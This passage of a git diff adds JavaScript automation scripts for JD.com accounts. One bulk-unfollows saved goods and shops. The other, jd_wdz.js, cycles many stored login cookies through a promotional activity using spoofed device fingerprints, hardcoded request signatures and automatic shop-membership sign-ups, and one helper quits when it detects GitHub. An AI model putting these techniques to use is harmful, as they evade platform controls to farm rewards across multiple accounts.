console.log(`$.unsubscribeGoodsNum: ${$.unsubscribeGoodsNum}`) + // console.log(`$.unsubscribeShopsNum: ${$.unsubscribeShopsNum}`) + // console.log(`$.goodsTotalNum: ${$.goodsTotalNum}`) + // console.log(`$.shopsTotalNum: ${$.shopsTotalNum}`) + // console.log(`$.commIdList: ${$.commIdList}`) + // console.log(`$.shopIdList: ${$.shopIdList}`) + // console.log(`$.failTimes: ${$.failTimes}`) + // console.log(`================`) + await favCommQueryFilter(); //获取商品并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endGoods && parseInt($.goodsTotalNum) !== parseInt($.goodsKeyWordsNum)) await favCommBatchDel();//取关商品 + else console.log("不执行取消收藏商品\n") + await $.wait(args_xh.unSubscribeInterval) + await queryShopFavList(); //获取店铺并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endShops && parseInt($.shopsTotalNum) !== parseInt($.shopsKeyWordsNum)) await batchunfollow(); //取关店铺 + else console.log("不执行取消收藏店铺\n") + do { + //如果商品总数和店铺总数都为0则已清空,跳出循环 + if(parseInt($.goodsTotalNum) === 0 && parseInt($.shopsTotalNum) === 0) break; + else { + //如果商品总数或店铺总数有一个不为0的话,先判断是哪个不为0 + if(parseInt($.goodsTotalNum) !== 0){ + if(parseInt($.goodsTotalNum) === parseInt($.goodsKeyWordsNum)) break; + else { + $.commIdList = `` + await favCommQueryFilter(); //获取商品并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endGoods && parseInt($.goodsTotalNum) !== parseInt($.goodsKeyWordsNum)) await favCommBatchDel(); //取关商品 + else console.log("不执行取消收藏商品\n") + } + } else if(parseInt($.shopsTotalNum) !== 0){ + if(parseInt($.shopsTotalNum) === parseInt($.shopsKeyWordsNum)) break; + else { + $.shopIdList = `` + await queryShopFavList(); //获取店铺并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endShops && parseInt($.shopsTotalNum) !== parseInt($.shopsKeyWordsNum)) await batchunfollow(); //取关店铺 + else console.log("不执行取消收藏店铺\n") + } + } + } + if($.failTimes >= args_xh.failTimes){ + console.log('失败次数到达设定值,触发防死循环机制,该帐号已跳过'); + break; + } + } while(true) + await showMsg_xh(); + } + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function requireConfig(){ + return new Promise(resolve => { + if($.isNode() && process.env.JD_UNSUB){ + console.log('=====环境变量配置如下=====') + console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) + console.log(`isNotify: ${typeof args_xh.isNotify}, ${args_xh.isNotify}`) + console.log(`goodPageSize: ${typeof args_xh.goodPageSize}, ${args_xh.goodPageSize}`) + console.log(`shopPageSize: ${typeof args_xh.shopPageSize}, ${args_xh.shopPageSize}`) + console.log(`goodsKeyWords: ${typeof args_xh.goodsKeyWords}, ${args_xh.goodsKeyWords}`) + console.log(`shopKeyWords: ${typeof args_xh.shopKeyWords}, ${args_xh.shopKeyWords}`) + console.log(`unSubscribeInterval: ${typeof args_xh.unSubscribeInterval}, ${args_xh.unSubscribeInterval}`) + console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) + console.log(`failTimes: ${typeof args_xh.failTimes}, ${args_xh.failTimes}`) + console.log('=======================') + } + resolve() + }) +} + +function showMsg_xh(){ + if(args_xh.isNotify){ + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个`); + } else { + $.log(`【京东账号${$.index}】${$.nickName}\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个`); + } +} + +function getSubstr(str, leftStr, rightStr){ + let left = str.indexOf(leftStr); + let right = str.indexOf(rightStr, left); + if(left < 0 || right < left) return ''; + return str.substring(left + leftStr.length, right); +} + +function favCommQueryFilter(){ + return new Promise((resolve) => { + console.log('正在获取已关注的商品...') + const option = { + url: `https://wq.jd.com/fav/comm/FavCommQueryFilter?cp=1&pageSize=${args_xh.goodPageSize}&category=0&promote=0&cutPrice=0&coupon=0&stock=0&sceneval=2`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, async(err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(getSubstr(data, "try{(", ");}catch(e){}")); + if(data.iRet === '0'){ + $.goodsTotalNum = parseInt(data.totalNum); + console.log(`当前已关注商品:${$.goodsTotalNum}个`) + $.goodsKeyWordsNum = 0; + for(let item of data.data){ + if(args_xh.goodsKeyWords.some(keyword => item.commTitle.includes(keyword))){ + args_xh.printLog ? console.log(`${item.commTitle} `) : '' + args_xh.printLog ? console.log('商品被过滤,含有关键词\n') : '' + $.goodsKeyWordsNum += 1; + } else { + $.commIdList += item.commId + ","; + $.unsubscribeGoodsNum++; + } + } + } else { + $.endGoods = true; + console.log("无商品可取消收藏\n"); + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function favCommBatchDel(){ + return new Promise(resolve => { + console.log("正在取消收藏商品...") + const option = { + url: `https://wq.jd.com/fav/comm/FavCommBatchDel?commId=${$.commIdList}&sceneval=2&g_login_type=1`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(data); + if(data.iRet === "0" && data.errMsg === "success"){ + console.log(`成功取消收藏商品:${$.unsubscribeGoodsNum}个\n`) + $.failTimes = 0; + } else { + console.log(`批量取消收藏商品失败,失败次数:${++$.failTimes}\n`, data) + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function queryShopFavList(){ + return new Promise((resolve) => { + console.log("正在获取已关注的店铺...") + const option = { + url: `https://wq.jd.com/fav/shop/QueryShopFavList?cp=1&pageSize=${args_xh.shopPageSize}&sceneval=2&g_login_type=1&callback=jsonpCBKA`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(getSubstr(data, "try{jsonpCBKA(", ");}catch(e){}")); + if(data.iRet === '0'){ + $.shopsTotalNum = parseInt(data.totalNum); + console.log(`当前已关注店铺:${$.shopsTotalNum}个`) + if(data.data.length > 0){ + $.shopsKeyWordsNum = 0; + for(let item of data.data){ + if(args_xh.shopKeyWords.some(keyword => item.shopName.includes(keyword))){ + args_xh.printLog ? console.log('店铺被过滤,含有关键词') : '' + args_xh.printLog ? console.log(`${item.shopName}\n`) : '' + $.shopsKeyWordsNum += 1; + } else { + $.shopIdList += item.shopId + ","; + $.unsubscribeShopsNum++; + } + } + } else { + $.endShops = true; + console.log("无店铺可取消关注\n"); + } + } else console.log(`获取已关注店铺失败:${JSON.stringify(data)}`) + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function batchunfollow(){ + return new Promise(resolve => { + console.log('正在执行批量取消关注店铺...') + const option = { + url: `https://wq.jd.com/fav/shop/batchunfollow?shopId=${$.shopIdList}&sceneval=2&g_login_type=1`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(data); + if(data.iRet === "0"){ + console.log(`已成功取消关注店铺:${$.unsubscribeShopsNum}个\n`) + $.failTimes = 0; + } else { + console.log(`批量取消关注店铺失败,失败次数:${++$.failTimes}\n`) + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function TotalBean(){ + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(data){ + data = JSON.parse(data); + if(data['retcode'] === 13){ + $.isLogin = false; //cookie过期 + return + } + if(data['retcode'] === 0){ + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(); + } + }) + }) +} + +function jsonParse(str){ + if(typeof str == "string"){ + try{ + return JSON.parse(str); + } catch(e){ + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){ + this.env = t + } + + send(t, e = "GET"){ + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t){ + return this.send.call(this.env, t) + } + + post(t){ + return this.send.call(this.env, t, "POST") + } + } + + return new class{ + constructor(t, e){ + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode(){ + return "undefined" != typeof module && !!module.exports + } + + isQuanX(){ + return "undefined" != typeof $task + } + + isSurge(){ + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon(){ + return "undefined" != typeof $loon + } + + toObj(t, e = null){ + try{ + return JSON.parse(t) + } catch{ + return e + } + } + + toStr(t, e = null){ + try{ + return JSON.stringify(t) + } catch{ + return e + } + } + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{ + s = JSON.parse(this.getdata(t)) + } catch{} + return s + } + + setjson(t, e){ + try{ + return this.setdata(JSON.stringify(t), e) + } catch{ + return !1 + } + } + + getScript(t){ + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{ + return JSON.parse(this.fs.readFileSync(i)) + } catch(t){ + return {} + } + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) + if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){ + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){ + e = "" + } + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){ + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e){ + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t){ + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){ + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if(this.isNode()){ + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){ + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){ + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}){ + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_wdz.js b/jd_wdz.js new file mode 100644 index 0000000..c9bb880 --- /dev/null +++ b/jd_wdz.js @@ -0,0 +1,739 @@ +/** + * 微定制瓜分京豆 + * TG: https://t.me/HarbourToulu + * @param activityId 活动id + * @param activityUrl 活动url + * @param pin 用户名 + * @param num 跑多少ck + * @param againUserIndex 需要重新跑的ck + * @returns {Promise} +1 1 1 1 * jd_wdz.js + */ + +function openCardActivity(activityId, activityUrl, pin, num, againUserIndex) { + return new Promise((resolve) => { + const prefix = activityUrl.includes("cjhydz") ? "cjhydz" : "lzkjdz"; + const $ = new Env("微定制瓜分通用"); + const notify = $.isNode() ? require("./sendNotify") : ""; + const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; + let cookiesArr = [], + cookie = "", + message = "", + messageTitle = "", + activityCookie = ""; + + if (process.env.jd_wdz_activityId) + activityId = process.env.jd_wdz_activityId; + if (process.env.jd_wdz_activityUrl) + activityUrl = process.env.jd_wdz_activityUrl; + Object.keys(jdCookieNode).forEach((item) => + cookiesArr.push(jdCookieNode[item]) + ); + + if(pin) { + const idx = cookiesArr.findIndex((v) => v.includes(pin)); + const currentCookie = cookiesArr.splice(idx, 1); + cookiesArr = [...currentCookie, ...cookiesArr.slice(1, num)]; + } + + + if (againUserIndex.length > 0) { + cookiesArr = cookiesArr.filter((v, idx) => againUserIndex.includes(idx)); + } + + !(async () => { + if (!activityId) { + $.msg($.name, "", "活动id不存在,请设置变量jd_zdjr_activityId"); + $.done(); + return; + } + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\x0a直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { + "open-url": "https://bean.m.jd.com/", + } + ); + return; + } + $.memberCount = 0; + messageTitle += "活动id:\n" + activityId + "\n"; + $.toactivity = []; + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1] + ); + $.index = i + 1; + $.isLogin = true; + $.nickName = ""; + + console.log( + "\n******开始【京东账号" + + $.index + + "】" + + ($.nickName || $.UserName) + + "*********\n" + ); + + await jrzd(); + if ($.end) { + break; + } + if (!$.toactivity || $.maxTeam) { + break; + } + } + } + if (againUserIndex.length > 0) { + console.log( + `${againUserIndex.join("、")} 用户需要重新跑!即将开始重新跑~` + ); + await openCardActivity( + activityId, + activityUrl, + pin, + num, + againUserIndex + ); + } + resolve(); + })() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + + async function jrzd() { + getUA(); + $.sid = ""; + $.userId = "599119"; + $.Token = ""; + $.Pin = ""; + $.hisPin = ""; + $.card = []; + + await getCk(); + await $.wait(1000); + await getToken(); + await $.wait(1000); + if ($.Token == "") { + console.log("获取[token]失败!"); + return; + } + await getSimpleActInfoVo(); + await $.wait(1000); + if ($.userId) { + await $.wait(1000); + if ($.Token) await getPin(); + console.log("pin:" + $.Pin); + + await $.wait(1000); + await accessLog(); + if (prefix !== "cjhydz") { + await $.wait(1000); + await getActMemberInfo(); + } + await $.wait(1000); + await getUserInfo(); + await $.wait(1000); + await getOpenCardAllStatuesNew(); + + if ($.index === 1) { + $.his = $.Pin; + $.hisNickName = $.nickName; + $.hisInviterImg = $.attrTouXiang; + } + + await $.wait(1000); + await joinTeam(); + + if ($.card.length > 0) { + let i = 0; + do { + await joinShop($.card[i]); + await $.wait(1000); + i++; + } while (i < $.card.length); + } + await $.wait(1000); + await getOpenCardAllStatuesNew(); + if ($.maxTeam) { + console.log("队伍已满员"); + return; + } + } else { + console.log("【京东账号" + $.index + "】 未能获取活动信息"); + message += "【京东账号" + $.index + "】 未能获取活动信息\n"; + } + } + + function getUA() { + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString( + 40 + )};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; + } + + function getSimpleActInfoVo() { + return new Promise((resolve) => { + let body = `activityId=${activityId}`; + $.post( + taskPostUrl("/customer/getSimpleActInfoVo", body), + async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`); + console.log( + `${$.name} getSimpleActInfoVo API请求失败,请检查网路重试` + ); + } else { + // if (resp.status == 200) { + // refreshToken(resp); + // } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", + a = t.length, + n = ""; + for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a)); + return n; + } + + function getCk() { + return new Promise((resolve) => { + let options = { + url: + activityUrl + + "/microDz/invite/activity/wx/view/index?activityId=" + + activityId, + headers: { + Cookie: cookie, + "User-Agent": $.UA, + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " cookie API请求失败,请检查网路重试"); + } else { + if (resp.status == 200) { + refreshToken(resp); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function getToken() { + return new Promise((resolve) => { + let body = `adid=7B411CD9-D62C-425B-B083-9AFC49B94228&area=16_1332_42932_43102&body=%7B%22url%22%3A%22https%3A%5C/%5C/cjhydz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167541&client=apple&clientVersion=9.4.0&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=48&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=11&screen=750%2A1334&sign=60bde51b4b7f7ff6e1bc1f473ecf3d41&st=1613720203903&sv=110&uts=0f31TVRjBStG9NoZJdXLGd939Wv4AlsWNAeL1nxafUsZqiV4NLsVElz6AjC4L7tsnZ1loeT2A8Z5/KfI/YoJAUfJzTd8kCedfnLG522ydI0p40oi8hT2p2sNZiIIRYCfjIr7IAL%2BFkLsrWdSiPZP5QLptc8Cy4Od6/cdYidClR0NwPMd58K5J9narz78y9ocGe8uTfyBIoA9aCd/X3Muxw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=9cf90c586c4468e00678545b16176ed2`; + $.post( + taskUrl("?functionId=isvObfuscator", body), + async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " 2 API请求失败,请检查网路重试"); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code == 0 && data.token) { + $.Token = data.token; + } else { + console.log("异常2:" + JSON.stringify(data)); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function getPin() { + return new Promise((resolve) => { + let body = "userId=" + $.userId + "&token=" + $.Token + "&fromType=APP"; + $.post( + taskPostUrl("/customer/getMyPing", body), + async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " 3 API请求失败,请检查网路重试"); + } else { + if (resp.status == 200) { + refreshToken(resp); + } + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + $.Pin = data.data.secretPin; + $.AUTH_C_USER = $.Pin; + } else { + console.log("异常3:" + JSON.stringify(data)); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function joinShop(openCardLink) { + return new Promise(async (resolve) => { + if (prefix == "cjhydz") { + let channel = openCardLink.match(/channel=(\d+)/)[1]; + let venderId = openCardLink.match(/venderId=(\d+)/)[1]; + let shopId = openCardLink.match(/shopId=(\d+)/)[1]; + const body = { + venderId: venderId, + shopId: shopId, + bindByVerifyCodeFlag: 1, + registerExtend: {}, + writeChildFlag: 0, + channel: channel, + }; + let url = `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent( + JSON.stringify(body) + )}&client=H5&clientVersion=9.2.0&uuid=8888&jsonp=jsonp_${Date.now()}_${String( + Math.random() + ).slice(3, 8)}&h5st=20220614102046318%3B7327310984571307%3Bef79a%3Btk02wa31b1c7718neoZNHBp75rw4pE%2Fw7fXko2SdFCd1vIeWy005pEHdm0lw2CimWpaw3qc9il8r9xVLHp%2Bhzmo%2B4swg%3Bdd9526fc08234276b392435c8623f4a737e07d4503fab90bf2cd98d2a3a778ac%3B3.0%3B1655173246318`; + let referer = `${openCardLink}&returnUrl=${encodeURIComponent( + `https://cjhydz-isv.isvjcloud.com/microDz/invite/activity/wx/view/index?activityId=${activityId}&adsource=cjhdc&isOpenCardBack=iocb` + )}`; + await jiaru(url, referer); + 